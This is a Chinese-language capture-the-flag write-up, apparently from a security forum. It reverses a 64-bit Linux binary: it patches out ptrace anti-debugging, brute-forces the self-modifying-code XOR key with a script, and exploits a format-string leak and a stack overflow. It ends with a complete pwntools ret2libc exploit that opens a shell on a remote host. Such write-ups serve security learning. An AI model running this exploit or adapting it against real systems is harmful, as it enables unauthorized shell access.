目录
0x00 初步分析程序
0x01 绕过反调试
0x02 寻找key解密程序
0x03 寻找程序漏洞点(栈溢出和格式化字符串漏洞)
0x04 利用printf泄露canary和libc地址
0x05 ret2libc技术get shell
0x00 初步分析程序
拿到程序,file发现是linux 64位下的程序,ldd查看调用的库信息:
查看开启的保护机制,可以看到开启了canary和NX(堆栈不可执行):
IDA打开:
welcome函数打印欢迎信息,在返回的时候调用了test函数:
test函数中,调用了ptrace对程序本身进程进行trace,因为一个进程最多只能被一个进程trace,而像IDA、gdb等调试工具在动态调试时都是通过ptrace实现的,因此此时ptrace返回值(rax寄存器中)为负值,根据检测逻辑会执行sys_exit退出,从而实现反调试:
在返回后程序跳转到0x400818处,这里使用了SMC技术,部分指令被加密了,IDA不能正常解析:
可以看到调用了sys_mprotect指令,用于设置内存访问权限,这里权限位值为7,说明可读可写可执行,可参考mman.h头文件的相关定义:
即mprotect(start=0x400000, len=0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
然后又执行了一个系统指令,这里IDA没有正确解析出来,但是可以由调用号0查表可知,这里是在调用sys_read命令:
完整的调用为:sys_read(0, char* szCh, 6) 其中文件描述符fd为0表示标准输入。
在读取了6个字符后,程序使用该输入和0x40087f开始的数据进行了异或的操作并写入,应该是在这里进行了程序的解密,0xfb0x90作为解密结束的标志:
到这里,程序的初步分析完毕,下一步目标是找到合适的输入,对程序数据进行解密。
0x01 绕过反调试
在刚刚说到的test函数中,程序对自身调用了ptrace以达到反调试的目的,然后对返回值进行判断,小于0则执行sys_exit退出,因此这里只需要patch跳转指令(将jge改为jmp),强制跳转即可:
0x02 寻找key解密程序
绕过反调试后,就可以愉快地动态调试了,由于输入规定是明文,而且异或后的数据需要出现0xfb,0x90,因此需要结合脚本逐字符爆破可能的key值,过程需要结合动态调试对解密后的数据进行验证,最后脚本如下:
# coding:utf-8
# author: sherllyyang00@gmail.com
# encrypt文件为bin中0x40087f-0x400a78的数据
def decrypt(start,filename,key):
with open("encrypt","rb") as f:
data = f.read()[start:]
res=[]
for i in range(32,127):
res=[]
found = 0
for d in data:
byte = ord(d)^i^key
res.append(chr(byte))
if byte == 0x90 and res[-2] == '\xfb':
print "[*] key: ",chr(i)
found = 1
if found == 1:
# print len(res)
# print res
if i == ord('a'):
pos1 = "".join(res).find("\xfb\x90")
print pos1
pos2 = res[pos1+2:].index('\x90')
print pos2
pos = pos1+2+pos2+1
res = res[:pos1+2+pos2+1]
with open(filename,"wb") as f:
f.write("".join(res))
return pos
def decrypt_end(start,filename,key):
with open("encrypt","rb") as f:
data = f.read()[start:]
res=[]
for i in range(32,127):
res=[]
found = 0
for d in data:
byte = ord(d)^i^key
res.append(chr(byte))
if byte == 0x90:
print "[*] key: ",chr(i)
found = 1
print len(res)
break
if found == 1:
# print len(res)
# print res
if i == ord('K'):
pos = "".join(res).find("\x90")
print pos
res = res[:pos+1]
with open(filename,"wb") as f:
f.write("".join(res))
return pos
return 0
pos = decrypt(start=0,filename="decrypt_1",key=0) # 'e'
pos = decrypt(start=74,filename="decrypt_2",key=ord('e')) # 'v'
pos = decrypt(start=74+71,filename="decrypt_3",key=ord('e')^ord('v')) # 'X' /'6' 'W' 'X'
pos = decrypt(start=74+71+71,filename="decrypt_4",key=ord('e')^ord('v')^ord('X')) # 'n'
pos = decrypt(start=74+71+71+71,filename="decrypt_5",key=ord('e')^ord('v')^ord('X')^ord('n')) # 'a'
pos = decrypt_end(start=74+71+71+71+62,filename="decrypt_6",key=ord('e')^ord('v')^ord('X')^ord('n')^ord('a')) # 'K'
# evXnaK
得到正确的key值为evXnaK,输入验证下:

0x03
寻找程序漏洞点
在输入正确的key值后,得到解密后的程序如下:
可以看到,首先调用了sys_write输出wow字符串,sys_write(1,"wow!\n",5), 其中文件描述符fd为1表示标准输出:
然后调用了sys_read读取26个字节到栈上,sys_read(0, char* rsp, 0x1a):
然后调用了printf输出刚刚读取的数据,这里没有加格式化字符串进行控制,存在漏洞,可以用于泄露栈上的canary和libc地址:
最后调用了sys_read读取0x200个字节到离栈顶0x20个字节的位置,明显超过了栈的大小,存在栈溢出漏洞:
0x04
利用printf泄露canary和libc地址
先泄露canary,首先确定canary的偏移,通过输入%p打印栈上的值,%i$p(i为索引)可以指定打印第几个值,使用pwntools调试,确定偏移为13:
然后尝试泄露puts基于libc的地址,先确定字符串在栈上的偏移,由于调试时发现字符串AAAAAAAA在偏移第8和第9之间,因此加了padding(aaaaa)使字符串对齐到偏移8处:
payload1 = "%%13$p %%8$p aaaaa%s"%("A"*8)
接下来只需要将AAAAAAAA替换为puts在程序的got表中的地址,使用%s打印真实地址即可:
payload1 = "%%13$p %%8$s aaaaa%s"%(p64(elf.got['puts']))
system_addr = puts_addr - 0x2a300
binsh_addr = puts_addr + 0x11d6c7
0x05
ret2libc技术get shell
首先确定覆盖到canary的前一个地址需要的数据大小,通过调试确定大小为0x58个字节:
由于程序开了DX,不能通过直接栈溢出写shellcode执行,因此这里用了ret2libc技术,跳转到libc中的system函数开启shell。
由于是64位下的程序,函数传参优先不通过栈,而是通过寄存器传参,第一个参数存放在rdi寄存器中,因此需要构造的pop rdi;ret的gadget将system函数的第一个参数"/bin/sh"传入,使用工具ROPgadget(https://github.com/JonathanSalwan/ROPgadget)在wow的bin里找pop rdi;ret的gadget,得到地址为0x400b23:
构造最终payload:
payload2=cyclic(0x58)+p64(canary)+p64(1)+p64(rdi_gadget_addr)+p64(binsh_addr)+p64(system_addr)
get shell:
最终脚本
# coding:utf-8
# author: sherllyyang00@gmail.com
from pwn import *
context(log_level="debug")
DEBUG = 0
if DEBUG:
r = process('./wow')
else:
r = remote('139.199.99.130',65188)
elf = ELF('./wow')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
key='evXnaK'
rdi_gadget_addr = 0x400b23
def fill(s):
if len(s)!=8:
return s+"\x00"*(8-len(s))
# decrypt bin
r.recvuntil("李清照\n\n***************************\n\n")
r.send(key)
# leak canary
r.recvuntil("wow!\n")
payload1 = "%%13$p %%8$s aaaaa%s"%(p64(elf.got['puts']))
log.info("len: %d"%len(payload1))
log.info(payload1)
r.send(payload1)
data = r.recv(1024)
canary = data.split(" ")[0]
log.info("canary: " + canary)
canary = eval(canary)
# leak puts_addr & calc system_addr
puts_addr = u64(fill(data.split(" ")[1]))
log.info("puts_addr: "+hex(puts_addr))
# system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
# log.info("system_addr: "+hex(system_addr))
system_addr = puts_addr - 0x2a300
log.info("system_addr: "+hex(system_addr))
# binsh_addr = puts_addr - (libc.symbols['puts'] - next(libc.search('/bin/sh')))
# log.info("binsh_addr: "+hex(binsh_addr))
binsh_addr = puts_addr + 0x11d6c7
log.info("binsh_addr: "+hex(binsh_addr))
# rop get shell
payload2=cyclic(0x58)+p64(canary)+p64(1)+p64(rdi_gadget_addr)+p64(binsh_addr)+p64(system_addr)
log.info(payload2)
r.send(payload2)
r.interactive()
安卓应用层抓包通杀脚本发布!《高研班》2021年3月班开始招生!
最后于 2018-6-23 23:53
被sherlly编辑
,原因: